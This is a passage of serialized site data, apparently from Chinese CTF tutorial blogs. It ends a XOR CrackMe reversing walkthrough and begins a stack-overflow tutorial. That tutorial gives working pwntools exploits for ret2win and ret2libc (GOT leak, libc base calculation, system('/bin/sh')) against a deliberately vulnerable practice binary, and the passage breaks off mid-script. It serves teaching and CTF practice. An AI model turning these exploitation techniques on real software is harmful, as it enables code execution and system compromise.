异或\n",[32,8186,8187],{"class":34,"line":47},[32,8188,8189],{},"cmp    al, BYTE PTR [rbp-...]     ; 与 enc[i] 比较\n",[32,8191,8192],{"class":34,"line":53},[32,8193,8194],{},"je     0x...\n",[283,8196,8198],{"id":8197},"_43-ghidra-反编译","4.3 Ghidra 反编译",[15,8200,8201],{},"安装并打开：",[22,8203,8205],{"className":77,"code":8204,"language":79,"meta":27,"style":27},"apt install openjdk-21-jdk unzip\nwget https://github.com/NationalSecurityAgency/ghidra/releases/latest/download/ghidra_*.zip\nunzip ghidra_*.zip && cd ghidra_*_PUBLIC && ./ghidraRun\n",[29,8206,8207,8217,8227],{"__ignoreMap":27},[32,8208,8209,8211,8213,8215],{"class":34,"line":35},[32,8210,1163],{"class":86},[32,8212,91],{"class":90},[32,8214,1772],{"class":90},[32,8216,1775],{"class":90},[32,8218,8219,8221,8223,8225],{"class":34,"line":41},[32,8220,1780],{"class":86},[32,8222,1783],{"class":90},[32,8224,1787],{"class":1786},[32,8226,1790],{"class":90},[32,8228,8229,8231,8233,8235,8238,8240,8242,8244,8246,8248,8250],{"class":34,"line":47},[32,8230,1795],{"class":86},[32,8232,1798],{"class":90},[32,8234,1787],{"class":1786},[32,8236,8237],{"class":90},".zip",[32,8239,1818],{"class":1127},[32,8241,1808],{"class":1807},[32,8243,1798],{"class":90},[32,8245,1787],{"class":1786},[32,8247,1815],{"class":90},[32,8249,1818],{"class":1127},[32,8251,1821],{"class":86},[15,8253,8254,8255,320],{},"操作：新建项目 → 导入 crackme → 自动分析 → 双击 ",[29,8256,1591],{},[15,8258,1850],{},[22,8260,8261],{"className":1853,"code":2246,"language":1855,"meta":27,"style":27},[29,8262,8263],{"__ignoreMap":27},[32,8264,8265],{"class":34,"line":35},[32,8266,2246],{},[15,8268,8269],{},"得到逆运算关系：",[22,8271,8274],{"className":8272,"code":8273,"language":110,"meta":27},[108],"enc[i] = input[i] ^ key[i % 3]\ninput[i] = enc[i] ^ key[i % 3]\n",[29,8275,8273],{"__ignoreMap":27},[10,8277,1884],{"id":1883},[22,8279,8281],{"className":77,"code":8280,"language":79,"meta":27,"style":27},"gdb ./crackme\n",[29,8282,8283],{"__ignoreMap":27},[32,8284,8285,8287],{"class":34,"line":35},[32,8286,1911],{"class":86},[32,8288,8289],{"class":90}," ./crackme\n",[22,8291,8293],{"className":1923,"code":8292,"language":1911,"meta":27,"style":27},"(gdb) break check\n# 目的：在 check 入口暂停，观察输入参数和密文数据。\n",[29,8294,8295,8299],{"__ignoreMap":27},[32,8296,8297],{"class":34,"line":35},[32,8298,1924],{},[32,8300,8301],{"class":34,"line":41},[32,8302,8303],{},"# 目的：在 check 入口暂停，观察输入参数和密文数据。\n",[15,8305,1224],{},[22,8307,8309],{"className":8308,"code":1936,"language":110,"meta":27},[108],[29,8310,1936],{"__ignoreMap":27},[22,8312,8314],{"className":1923,"code":8313,"language":1911,"meta":27,"style":27},"(gdb) run AAAAAAAAAAAAAAAAAAAAAAAA\n",[29,8315,8316],{"__ignoreMap":27},[32,8317,8318],{"class":34,"line":35},[32,8319,8313],{},[15,8321,1224],{},[22,8323,8325],{"className":8324,"code":1957,"language":110,"meta":27},[108],[29,8326,1957],{"__ignoreMap":27},[15,8328,8329],{},"查看 enc 数组（地址在反汇编中确定）：",[22,8331,8333],{"className":1923,"code":8332,"language":1911,"meta":27,"style":27},"(gdb) x/24bx 0x5555555551e0\n# x：查看内存；/24bx：24 个字节、b 按字节、x 十六进制显示。\n",[29,8334,8335,8340],{"__ignoreMap":27},[32,8336,8337],{"class":34,"line":35},[32,8338,8339],{},"(gdb) x/24bx 0x5555555551e0\n",[32,8341,8342],{"class":34,"line":41},[32,8343,8344],{},"# x：查看内存；/24bx：24 个字节、b 按字节、x 十六进制显示。\n",[15,8346,1224],{},[22,8348,8351],{"className":8349,"code":8350,"language":110,"meta":27},[108],"0x...: 0x08 0x47 0x1f 0x10 0x41 0x1c 0x1d 0x56 ...\n",[29,8352,8350],{"__ignoreMap":27},[15,8354,8355],{},"与源码中的 enc 数组一致，确认比较逻辑。",[10,8357,8359],{"id":8358},"六核心步骤-4写脚本还原","六、核心步骤 4：写脚本还原",[15,8361,8362,8364],{},[138,8363,140],{},"：把\"加密\"反过来算：密文与 key 再异或一次即明文。",[15,8366,8367,8369,8370,8373,8374,8377,8378,8381],{},[138,8368,146],{},"：因为 ",[29,8371,8372],{},"enc[i] = input[i] ^ key[i%3]","，两边同时异或 ",[29,8375,8376],{},"key[i%3]"," 得 ",[29,8379,8380],{},"input[i] = enc[i] ^ key[i%3]","。异或的自反性是本题全部关键。",[22,8383,8385],{"className":24,"code":8384,"language":26,"meta":27,"style":27},"enc = [0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n       0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n       0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04]\nkey = b\"k3y\"   # 从 strings -n 3 找到的密钥\n\nflag = bytes([c ^ key[i % len(key)] for i, c in enumerate(enc)])\n# enumerate(enc)：逐个取出 (下标 i, 密文字节 c)。\n# key[i % len(key)]：i 对 3 取余，让密钥循环（与 C 的 i%3 一致）。\n# c ^ key[...]：密文异或密钥 = 明文。\n# bytes([...])：把整数列表转成字节串。\nprint(flag.decode())\n# decode()：bytes 按 UTF-8 解码成字符串显示。\n",[29,8386,8387,8391,8395,8399,8404,8408,8413,8418,8423,8428,8433,8437],{"__ignoreMap":27},[32,8388,8389],{"class":34,"line":35},[32,8390,2280],{},[32,8392,8393],{"class":34,"line":41},[32,8394,2285],{},[32,8396,8397],{"class":34,"line":47},[32,8398,2290],{},[32,8400,8401],{"class":34,"line":53},[32,8402,8403],{},"key = b\"k3y\"   # 从 strings -n 3 找到的密钥\n",[32,8405,8406],{"class":34,"line":175},[32,8407,197],{"emptyLinePlaceholder":196},[32,8409,8410],{"class":34,"line":181},[32,8411,8412],{},"flag = bytes([c ^ key[i % len(key)] for i, c in enumerate(enc)])\n",[32,8414,8415],{"class":34,"line":187},[32,8416,8417],{},"# enumerate(enc)：逐个取出 (下标 i, 密文字节 c)。\n",[32,8419,8420],{"class":34,"line":193},[32,8421,8422],{},"# key[i % len(key)]：i 对 3 取余，让密钥循环（与 C 的 i%3 一致）。\n",[32,8424,8425],{"class":34,"line":200},[32,8426,8427],{},"# c ^ key[...]：密文异或密钥 = 明文。\n",[32,8429,8430],{"class":34,"line":206},[32,8431,8432],{},"# bytes([...])：把整数列表转成字节串。\n",[32,8434,8435],{"class":34,"line":212},[32,8436,2330],{},[32,8438,8439],{"class":34,"line":218},[32,8440,8441],{},"# decode()：bytes 按 UTF-8 解码成字符串显示。\n",[15,8443,6442],{},[22,8445,8447],{"className":77,"code":8446,"language":79,"meta":27,"style":27},"python3 solve.py\n",[29,8448,8449],{"__ignoreMap":27},[32,8450,8451,8453],{"class":34,"line":35},[32,8452,3141],{"class":86},[32,8454,8455],{"class":90}," solve.py\n",[15,8457,254],{},[22,8459,8461],{"className":8460,"code":2341,"language":110,"meta":27},[108],[29,8462,2341],{"__ignoreMap":27},[15,8464,8465],{},"验证：",[22,8467,8468],{"className":77,"code":2350,"language":79,"meta":27,"style":27},[29,8469,8470],{"__ignoreMap":27},[32,8471,8472,8474],{"class":34,"line":35},[32,8473,2357],{"class":86},[32,8475,2360],{"class":90},[15,8477,254,8478,320],{},[29,8479,1317],{},[10,8481,8483],{"id":8482},"七必学工具","七、必学工具",[732,8485,8486,8496],{},[735,8487,8488],{},[738,8489,8490,8492,8494],{},[741,8491,816],{},[741,8493,2086],{},[741,8495,5046],{},[748,8497,8498,8510,8522,8537,8554],{},[738,8499,8500,8502,8505],{},[753,8501,1218],{},[753,8503,8504],{},"看类型/是否 stripped",[753,8506,8507],{},[29,8508,8509],{},"file crackme",[738,8511,8512,8514,8517],{},[753,8513,1262],{},[753,8515,8516],{},"提取字符串、指定最小长度",[753,8518,8519],{},[29,8520,8521],{},"strings -n 3 crackme",[738,8523,8524,8526,8529],{},[753,8525,1414],{},[753,8527,8528],{},"反汇编、看数据段",[753,8530,8531,66,8534],{},[29,8532,8533],{},"objdump -d -M intel crackme",[29,8535,8536],{},"objdump -s -j .rodata crackme",[738,8538,8539,8541,8544],{},[753,8540,2141],{},[753,8542,8543],{},"断点、运行、查看内存",[753,8545,8546,66,8548,66,8551],{},[29,8547,2149],{},[29,8549,8550],{},"run xxx",[29,8552,8553],{},"x/24bx addr",[738,8555,8556,8559,8562],{},[753,8557,8558],{},"Ghidra",[753,8560,8561],{},"反编译伪代码",[753,8563,8564],{},[29,8565,8566],{},"ghidraRun",[10,8568,8570],{"id":8569},"八小-ctf-实战流程复述","八、小 CTF 实战：流程复述",[1826,8572,8573,8580,8591,8597],{},[1829,8574,8575,8577,8578,320],{},[29,8576,8521],{}," → 找到密钥 ",[29,8579,1324],{},[1829,8581,8582,8584,8585,8587,8588,320],{},[29,8583,1414],{},"/Ghidra → 确认 ",[29,8586,1591],{}," 里是 ",[29,8589,8590],{},"input[i] ^ key[i%3] == enc[i]",[1829,8592,8593,8594,320],{},"Python 一行异或还原 → ",[29,8595,8596],{},"ctf{reverse_engineering}",[1829,8598,8599,8600,320],{},"运行验证 → ",[29,8601,1317],{},[10,8603,6590],{"id":6589},[15,8605,8606,8607,8610],{},"XOR CrackMe 的通用解法：",[138,8608,8609],{},"找密钥、找密文、再异或一次","。逆向题的套路基本都是\"侦查 → 定位校验 → 逆运算\"三步；后续遇到的壳、混淆只是在中间增加干扰。",[1051,8612,8613],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .sqerP, html code.shiki .sqerP{--shiki-default:#BD93F9;--shiki-default-font-style:italic}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}",{"title":27,"searchDepth":41,"depth":41,"links":8615},[8616,8617,8618,8619,8620,8621,8622,8623,8624],{"id":7689,"depth":47,"text":7690},{"id":7696,"depth":47,"text":7697},{"id":1190,"depth":47,"text":1191},{"id":8038,"depth":47,"text":8039},{"id":1883,"depth":47,"text":1884},{"id":8358,"depth":47,"text":8359},{"id":8482,"depth":47,"text":8483},{"id":8569,"depth":47,"text":8570},{"id":6589,"depth":47,"text":6590},"完整的 CrackMe 逆向：编译源码、file/strings 侦查、objdump/Ghidra 定位校验、GDB 动态调试、Python 逆运算还原 flag。",{"date":1069,"image":1070,"alt":8627,"tags":8628,"published":196},"XOR CrackMe 完整实操",[1073,2398,2174,1076],"/blogs/ctf-reverse-crackme-deep-dive",{"title":7684,"description":8625},"blogs/16. ctf-reverse-crackme-deep-dive","xZZ1X760wPJNGRPAuGfcnpCTK_DSMHcI_gsMU8yxErg",{"id":8634,"title":8635,"body":8636,"description":9721,"extension":1067,"meta":9722,"navigation":196,"ogImage":9723,"path":9727,"seo":9728,"stem":9729,"__hash__":9730},"content/blogs/17. ctf-pwn-stack-overflow-rop-deep-dive.md","栈溢出与 ROP 深入实战：偏移、ret2win 与 ret2libc",{"type":7,"value":8637,"toc":9708},[8638,8642,8657,8660,8662,8710,8712,8716,8796,8799,8818,8822,8827,8832,8844,8846,8851,8854,8909,8911,8916,8922,8925,8928,8938,8992,8994,9000,9014,9018,9023,9084,9086,9096,9098,9104,9122,9126,9132,9135,9162,9164,9170,9183,9189,9193,9200,9205,9214,9218,9224,9228,9504,9507,9513,9517,9564,9568,9629,9633,9644,9685,9687,9692,9696,9705],[10,8639,8641],{"id":8640},"一现实背景缓冲区溢出","一、现实背景：缓冲区溢出",[15,8643,8644,66,8646,66,8649,8652,8653,8656],{},[29,8645,2417],{},[29,8647,8648],{},"strcpy",[29,8650,8651],{},"sprintf"," 不校验写入长度。输入超过缓冲区容量时，数据覆盖相邻内存，包括函数的返回地址。程序 ",[29,8654,8655],{},"ret"," 时跳到被覆盖的地址执行——这就是栈溢出的核心。",[15,8658,8659],{},"本文环境：Linux（Kali/Ubuntu），x86-64 架构，这是 CTF Pwn 的标准环境。",[10,8661,74],{"id":73},[22,8663,8665],{"className":77,"code":8664,"language":79,"meta":27,"style":27},"apt install gcc gdb\npip3 install pwntools ROPgadget\ngit clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh\n",[29,8666,8667,8677,8689],{"__ignoreMap":27},[32,8668,8669,8671,8673,8675],{"class":34,"line":35},[32,8670,1163],{"class":86},[32,8672,91],{"class":90},[32,8674,2442],{"class":90},[32,8676,2445],{"class":90},[32,8678,8679,8681,8683,8686],{"class":34,"line":41},[32,8680,87],{"class":86},[32,8682,91],{"class":90},[32,8684,8685],{"class":90}," pwntools",[32,8687,8688],{"class":90}," ROPgadget\n",[32,8690,8691,8693,8695,8698,8700,8702,8705,8707],{"class":34,"line":47},[32,8692,5291],{"class":86},[32,8694,5294],{"class":90},[32,8696,8697],{"class":90}," https://github.com/pwndbg/pwndbg",[32,8699,1818],{"class":1127},[32,8701,1808],{"class":1807},[32,8703,8704],{"class":90}," pwndbg",[32,8706,1818],{"class":1127},[32,8708,8709],{"class":86},"./setup.sh\n",[10,8711,2458],{"id":2457},[15,8713,8714,1598],{},[29,8715,2464],{},[22,8717,8718],{"className":1853,"code":2467,"language":1855,"meta":27,"style":27},[29,8719,8720,8724,8728,8732,8736,8740,8744,8748,8752,8756,8760,8764,8768,8772,8776,8780,8784,8788,8792],{"__ignoreMap":27},[32,8721,8722],{"class":34,"line":35},[32,8723,2474],{},[32,8725,8726],{"class":34,"line":41},[32,8727,2479],{},[32,8729,8730],{"class":34,"line":47},[32,8731,197],{"emptyLinePlaceholder":196},[32,8733,8734],{"class":34,"line":53},[32,8735,2488],{},[32,8737,8738],{"class":34,"line":175},[32,8739,2493],{},[32,8741,8742],{"class":34,"line":181},[32,8743,2498],{},[32,8745,8746],{"class":34,"line":187},[32,8747,197],{"emptyLinePlaceholder":196},[32,8749,8750],{"class":34,"line":193},[32,8751,2507],{},[32,8753,8754],{"class":34,"line":200},[32,8755,2512],{},[32,8757,8758],{"class":34,"line":206},[32,8759,2517],{},[32,8761,8762],{"class":34,"line":212},[32,8763,2498],{},[32,8765,8766],{"class":34,"line":218},[32,8767,197],{"emptyLinePlaceholder":196},[32,8769,8770],{"class":34,"line":224},[32,8771,2530],{},[32,8773,8774],{"class":34,"line":230},[32,8775,2535],{},[32,8777,8778],{"class":34,"line":236},[32,8779,2540],{},[32,8781,8782],{"class":34,"line":242},[32,8783,2545],{},[32,8785,8786],{"class":34,"line":248},[32,8787,2550],{},[32,8789,8790],{"class":34,"line":628},[32,8791,2555],{},[32,8793,8794],{"class":34,"line":633},[32,8795,2498],{},[15,8797,8798],{},"编译：",[22,8800,8802],{"className":77,"code":8801,"language":79,"meta":27,"style":27},"gcc -o vuln vuln.c -fno-stack-protector -no-pie\n",[29,8803,8804],{"__ignoreMap":27},[32,8805,8806,8808,8810,8812,8814,8816],{"class":34,"line":35},[32,8807,2572],{"class":86},[32,8809,2575],{"class":1016},[32,8811,2578],{"class":90},[32,8813,2581],{"class":90},[32,8815,2584],{"class":1016},[32,8817,2587],{"class":1016},[10,8819,8821],{"id":8820},"四核心步骤-1checksec","四、核心步骤 1：checksec",[15,8823,8824,8826],{},[138,8825,140],{},"：开打前判断这条路能否走通，避免构造无效 payload。",[15,8828,8829,8831],{},[138,8830,146],{},"：No canary → 可以直接覆盖返回地址；No PIE → win 地址写死可用；NX 开启 → 本阶段不打 shellcode，后面用 ROP。",[22,8833,8834],{"className":77,"code":2617,"language":79,"meta":27,"style":27},[29,8835,8836],{"__ignoreMap":27},[32,8837,8838,8840,8842],{"class":34,"line":35},[32,8839,2624],{"class":86},[32,8841,2627],{"class":90},[32,8843,2630],{"class":90},[15,8845,1224],{},[22,8847,8849],{"className":8848,"code":2636,"language":110,"meta":27},[108],[29,8850,2636],{"__ignoreMap":27},[15,8852,8853],{},"逐行含义：",[732,8855,8856,8864],{},[735,8857,8858],{},[738,8859,8860,8862],{},[741,8861,6477],{},[741,8863,1543],{},[748,8865,8866,8876,8886,8899],{},[738,8867,8868,8873],{},[753,8869,8870],{},[29,8871,8872],{},"No canary found",[753,8874,8875],{},"无栈金丝雀，可覆盖返回地址",[738,8877,8878,8883],{},[753,8879,8880],{},[29,8881,8882],{},"NX enabled",[753,8884,8885],{},"栈不可执行，不能直接放 shellcode",[738,8887,8888,8893],{},[753,8889,8890],{},[29,8891,8892],{},"No PIE",[753,8894,8895,8896,8898],{},"程序地址固定，",[29,8897,2698],{}," 地址可直接写死",[738,8900,8901,8906],{},[753,8902,8903],{},[29,8904,8905],{},"Partial RELRO",[753,8907,8908],{},"GOT 可写（本阶段用不到）",[10,8910,2703],{"id":2702},[15,8912,8913,8915],{},[29,8914,2708],{}," 栈帧自低到高：",[22,8917,8920],{"className":8918,"code":8919,"language":110,"meta":27},[108],"┌──────────────────────┐\n│  buf[32]             │  ← gets 写入起点\n├──────────────────────┤\n│  对齐填充             │\n├──────────────────────┤\n│  saved rbp（8 字节）   │\n├──────────────────────┤\n│  返回地址（8 字节）     │  ← 目标\n└──────────────────────┘\n",[29,8921,8919],{"__ignoreMap":27},[15,8923,8924],{},"偏移 = 32 + 8 = 40。",[15,8926,8927],{},"用 pwntools 验证：",[15,8929,8930,1598,8932,8934,8935,8937],{},[138,8931,146],{},[29,8933,2721],{}," 生成无重复模式串，程序崩溃时 rip 的值取自模式串；",[29,8936,3074],{}," 反查位置，即\"从输入开头到返回地址的距离\"。",[22,8939,8941],{"className":24,"code":8940,"language":26,"meta":27,"style":27},"from pwn import *\n\np = process('./vuln')\np.sendline(cyclic(200))\n# cyclic(200)：生成 200 字节无重复模式串，发出去覆盖栈。\np.wait()\n# 等进程崩溃退出，生成 core 文件供读取。\noffset = cyclic_find(p.corefile.fault_addr)\n# p.corefile.fault_addr：崩溃时 rip 的值。\n# cyclic_find：返回该值在模式串中的下标 = 到返回地址的偏移。\nprint(\"offset =\", offset)\n",[29,8942,8943,8947,8951,8955,8959,8964,8968,8973,8977,8982,8987],{"__ignoreMap":27},[32,8944,8945],{"class":34,"line":35},[32,8946,2732],{},[32,8948,8949],{"class":34,"line":41},[32,8950,197],{"emptyLinePlaceholder":196},[32,8952,8953],{"class":34,"line":47},[32,8954,2741],{},[32,8956,8957],{"class":34,"line":53},[32,8958,2746],{},[32,8960,8961],{"class":34,"line":175},[32,8962,8963],{},"# cyclic(200)：生成 200 字节无重复模式串，发出去覆盖栈。\n",[32,8965,8966],{"class":34,"line":181},[32,8967,2761],{},[32,8969,8970],{"class":34,"line":187},[32,8971,8972],{},"# 等进程崩溃退出，生成 core 文件供读取。\n",[32,8974,8975],{"class":34,"line":193},[32,8976,2771],{},[32,8978,8979],{"class":34,"line":200},[32,8980,8981],{},"# p.corefile.fault_addr：崩溃时 rip 的值。\n",[32,8983,8984],{"class":34,"line":206},[32,8985,8986],{},"# cyclic_find：返回该值在模式串中的下标 = 到返回地址的偏移。\n",[32,8988,8989],{"class":34,"line":212},[32,8990,8991],{},"print(\"offset =\", offset)\n",[15,8993,1224],{},[22,8995,8998],{"className":8996,"code":8997,"language":110,"meta":27},[108],"offset = 40\n",[29,8999,8997],{"__ignoreMap":27},[15,9001,9002,9003,9006,9007,9010,9011,9013],{},"原理：",[29,9004,9005],{},"cyclic(200)"," 生成无重复的模式串；程序崩溃时 ",[29,9008,9009],{},"rip"," 的值必然是模式串中的 4/8 字节，",[29,9012,3074],{}," 返回它在模式串中的位置，即到返回地址的距离。",[10,9015,9017],{"id":9016},"六核心步骤-3ret2win","六、核心步骤 3：ret2win",[15,9019,9020,9022],{},[138,9021,140],{},"：把返回地址改成 win，验证控制流劫持成功。",[22,9024,9026],{"className":24,"code":9025,"language":26,"meta":27,"style":27},"from pwn import *\n\nelf = ELF('./vuln')\np = process('./vuln')\n\np.recvuntil(b'name?')\n# recvuntil(b'name?')：读到提示字符串为止，确保 gets 就绪。\npayload = b'A' * 40 + p64(elf.symbols['win'])\n# b'A'*40：填充缓冲区与 saved rbp。\n# p64(elf.symbols['win'])：win 地址转 8 字节小端，覆盖返回地址。\np.sendline(payload)\np.interactive()\n# interactive()：把终端接到进程，shell 可交互。\n",[29,9027,9028,9032,9036,9040,9044,9048,9052,9057,9061,9066,9071,9075,9079],{"__ignoreMap":27},[32,9029,9030],{"class":34,"line":35},[32,9031,2732],{},[32,9033,9034],{"class":34,"line":41},[32,9035,197],{"emptyLinePlaceholder":196},[32,9037,9038],{"class":34,"line":47},[32,9039,2822],{},[32,9041,9042],{"class":34,"line":53},[32,9043,2741],{},[32,9045,9046],{"class":34,"line":175},[32,9047,197],{"emptyLinePlaceholder":196},[32,9049,9050],{"class":34,"line":181},[32,9051,2983],{},[32,9053,9054],{"class":34,"line":187},[32,9055,9056],{},"# recvuntil(b'name?')：读到提示字符串为止，确保 gets 就绪。\n",[32,9058,9059],{"class":34,"line":193},[32,9060,2998],{},[32,9062,9063],{"class":34,"line":200},[32,9064,9065],{},"# b'A'*40：填充缓冲区与 saved rbp。\n",[32,9067,9068],{"class":34,"line":206},[32,9069,9070],{},"# p64(elf.symbols['win'])：win 地址转 8 字节小端，覆盖返回地址。\n",[32,9072,9073],{"class":34,"line":212},[32,9074,2925],{},[32,9076,9077],{"class":34,"line":218},[32,9078,3012],{},[32,9080,9081],{"class":34,"line":224},[32,9082,9083],{},"# interactive()：把终端接到进程，shell 可交互。\n",[15,9085,6442],{},[22,9087,9088],{"className":77,"code":3134,"language":79,"meta":27,"style":27},[29,9089,9090],{"__ignoreMap":27},[32,9091,9092,9094],{"class":34,"line":35},[32,9093,3141],{"class":86},[32,9095,3144],{"class":90},[15,9097,3025],{},[22,9099,9102],{"className":9100,"code":9101,"language":110,"meta":27},[108],"[*] Switching to interactive mode\n$ id\nuid=1000(ctf) gid=1000(ctf) groups=1000(ctf)\n",[29,9103,9101],{"__ignoreMap":27},[15,9105,9106,9107,9109,9110,3311,9112,2018,9114,9116,9117,3311,9119,9121],{},"执行过程：",[29,9108,2417],{}," 把 48 字节写入 buf → 前 40 字节填满 buf+saved rbp → 后 8 字节覆盖返回地址为 ",[29,9111,2698],{},[29,9113,2708],{},[29,9115,8655],{}," 跳到 ",[29,9118,2698],{},[29,9120,3041],{}," 弹 shell。",[10,9123,9125],{"id":9124},"七进阶nx-与-rop","七、进阶：NX 与 ROP",[15,9127,9128,9129,9131],{},"NX 开启后栈不可执行，但代码段可执行。ROP（Return-Oriented Programming）把程序里已有的、以 ",[29,9130,8655],{}," 结尾的指令片段（gadget）串起来执行。",[15,9133,9134],{},"找 gadget：",[22,9136,9138],{"className":77,"code":9137,"language":79,"meta":27,"style":27},"ROPgadget --binary ./vuln | grep \"pop rdi\"\n",[29,9139,9140],{"__ignoreMap":27},[32,9141,9142,9145,9148,9151,9153,9155,9157,9160],{"class":34,"line":35},[32,9143,9144],{"class":86},"ROPgadget",[32,9146,9147],{"class":1016}," --binary",[32,9149,9150],{"class":90}," ./vuln",[32,9152,1449],{"class":1120},[32,9154,1452],{"class":86},[32,9156,5467],{"class":1461},[32,9158,9159],{"class":90},"pop rdi",[32,9161,5473],{"class":1461},[15,9163,1224],{},[22,9165,9168],{"className":9166,"code":9167,"language":110,"meta":27},[108],"0x0000000000401233 : pop rdi ; ret\n",[29,9169,9167],{"__ignoreMap":27},[15,9171,9172,9175,9176,9179,9180,9182],{},[29,9173,9174],{},"pop rdi; ret"," 的作用：把栈上的下一个 8 字节弹进 ",[29,9177,9178],{},"rdi","（x86-64 的第一个参数寄存器），然后 ",[29,9181,8655],{}," 跳到下个地址。栈上布局：",[22,9184,9187],{"className":9185,"code":9186,"language":110,"meta":27},[108],"[pop rdi; ret] [参数] [要调用的函数] [下一 gadget] ...\n",[29,9188,9186],{"__ignoreMap":27},[10,9190,9192],{"id":9191},"八进阶ret2libc","八、进阶：ret2libc",[15,9194,9195,9197,9198,320],{},[138,9196,140],{},"：程序内没有目标函数时，改调 libc 的 ",[29,9199,3041],{},[15,9201,9202,9204],{},[138,9203,146],{},"：ASLR 让 libc 基址随机，但\"符号在 libc 内的偏移\"固定。先泄露一个已知符号（puts）的真实地址，反推基址，再计算 system 与 \"/bin/sh\" 的地址。验证方式：第一段打印出的 puts 地址与 libc 文件里查到的偏移做差，得到的基址应当是 0x...000 结尾。",[15,9206,9207,9208,9210,9211,9213],{},"程序里没有 ",[29,9209,2698],{}," 时，改调 libc 里的 ",[29,9212,3041],{},"。libc 基址被 ASLR 随机化，解决方法是\"先泄露，再计算\"。",[283,9215,9217],{"id":9216},"_81-原理","8.1 原理",[22,9219,9222],{"className":9220,"code":9221,"language":110,"meta":27},[108],"泄露 puts 的真实地址（调用 puts(puts@got)）\nlibc 基址 = puts 真实地址 - puts 在 libc 中的偏移\nsystem 地址 = libc 基址 + system 偏移\n\"/bin/sh\" 地址 = libc 基址 + 字符串偏移\n",[29,9223,9221],{"__ignoreMap":27},[283,9225,9227],{"id":9226},"_82-完整脚本","8.2 完整脚本",[22,9229,9231],{"className":24,"code":9230,"language":26,"meta":27,"style":27},"from pwn import *\n\ncontext.log_level = 'error'\n# 只显示错误，减少调试信息刷屏。\n\nelf = ELF('./vuln')\nlibc = ELF('/lib/x86_64-linux-gnu/libc.so.6')\n# 本地 libc 文件；远程题目若提供 libc，这里换成对应的文件路径。\np = process('./vuln')\n\noffset = 40\npop_rdi = 0x401233        # ROPgadget 搜到的 \"pop rdi; ret\" 地址\nret = 0x40101a            # 任意 \"ret\" 地址，用于栈 16 字节对齐\n\n# 第一阶段：泄露 puts 地址并返回 main\npayload1 = b'A' * offset\npayload1 += p64(ret)\n# 先执行一个 ret：让栈指针再弹 8 字节，满足 system 的 16 字节对齐要求。\npayload1 += p64(pop_rdi)\npayload1 += p64(elf.got['puts'])\n# got['puts']：GOT 里存放 puts 真实地址的内存位置。\npayload1 += p64(elf.plt['puts'])\n# plt['puts']：调用 puts 的入口；执行后相当于 puts(puts@got)，打印真实地址。\npayload1 += p64(elf.symbols['main'])\n# 回到 main，让程序再读一次输入，进行第二阶段。\n\np.recvuntil(b'name?')\np.sendline(payload1)\n\nleak = u64(p.recvline().strip().ljust(8, b'\\x00'))\n# recvline()：读一行（puts 输出后带换行）。\n# strip()：去掉换行；ljust(8, b'\\x00')：不足 8 字节用 \\x00 补齐。\n# u64()：8 字节小端转成整数，即 puts 的真实地址。\nprint(\"puts:\", hex(leak))\n\nlibc.address = leak - libc.symbols['puts']\n# libc.symbols['puts']：puts 在 libc 文件内的固定偏移。\n# 真实地址 - 偏移 = libc 基址；给 libc.address 赋值后，\n# 后面的 libc.symbols['system'] 会自动加上基址。\nprint(\"libc base:\", hex(libc.address))\n\n# 第二阶段：system(\"/bin/sh\")\npayload2 = b'A' * offset\npayload2 += p64(ret)\npayload2 += p64(pop_rdi)\npayload2 += p64(next(libc.search(b'/bin/sh')))\n# libc.search(b'/bin/sh')：在 libc 里找该字符串的所有位置；\n# next(...) 取第一个位置（偏移），libc.address 赋值后自动加基址。\npayload2 += p64(libc.symbols['system'])\n# 调用 system(\"/bin/sh\")。\n\np.sendlineafter(b'name?', payload2)\n# sendlineafter：先等提示再发送，保证时序正确。\np.interactive()\n",[29,9232,9233,9237,9241,9246,9251,9255,9259,9264,9269,9273,9277,9281,9286,9291,9295,9300,9305,9310,9315,9320,9325,9330,9335,9340,9345,9350,9354,9358,9363,9367,9372,9377,9382,9387,9392,9396,9401,9406,9411,9417,9423,9428,9434,9440,9446,9452,9458,9464,9470,9476,9482,9487,9493,9499],{"__ignoreMap":27},[32,9234,9235],{"class":34,"line":35},[32,9236,2732],{},[32,9238,9239],{"class":34,"line":41},[32,9240,197],{"emptyLinePlaceholder":196},[32,9242,9243],{"class":34,"line":47},[32,9244,9245],{},"context.log_level = 'error'\n",[32,9247,9248],{"class":34,"line":53},[32,9249,9250],{},"# 只显示错误，减少调试信息刷屏。\n",[32,9252,9253],{"class":34,"line":175},[32,9254,197],{"emptyLinePlaceholder":196},[32,9256,9257],{"class":34,"line":181},[32,9258,2822],{},[32,9260,9261],{"class":34,"line":187},[32,9262,9263],{},"libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')\n",[32,9265,9266],{"class":34,"line":193},[32,9267,9268],{},"# 本地 libc 文件；远程题目若提供 libc，这里换成对应的文件路径。\n",[32,9270,9271],{"class":34,"line":200},[32,9272,2741],{},[32,9274,9275],{"class":34,"line":206},[32,9276,197],{"emptyLinePlaceholder":196},[32,9278,9279],{"class":34,"line":212},[32,9280,8997],{},[32,9282,9283],{"class":34,"line":218},[32,9284,9285],{},"pop_rdi = 0x401233        # ROPgadget 搜到的 \"pop rdi; ret\" 地址\n",[32,9287,9288],{"class":34,"line":224},[32,9289,9290],{},"ret = 0x40101a            # 任意 \"ret\" 地址，用于栈 16 字节对齐\n",[32,9292,9293],{"class":34,"line":230},[32,9294,197],{"emptyLinePlaceholder":196},[32,9296,9297],{"class":34,"line":236},[32,9298,9299],{},"# 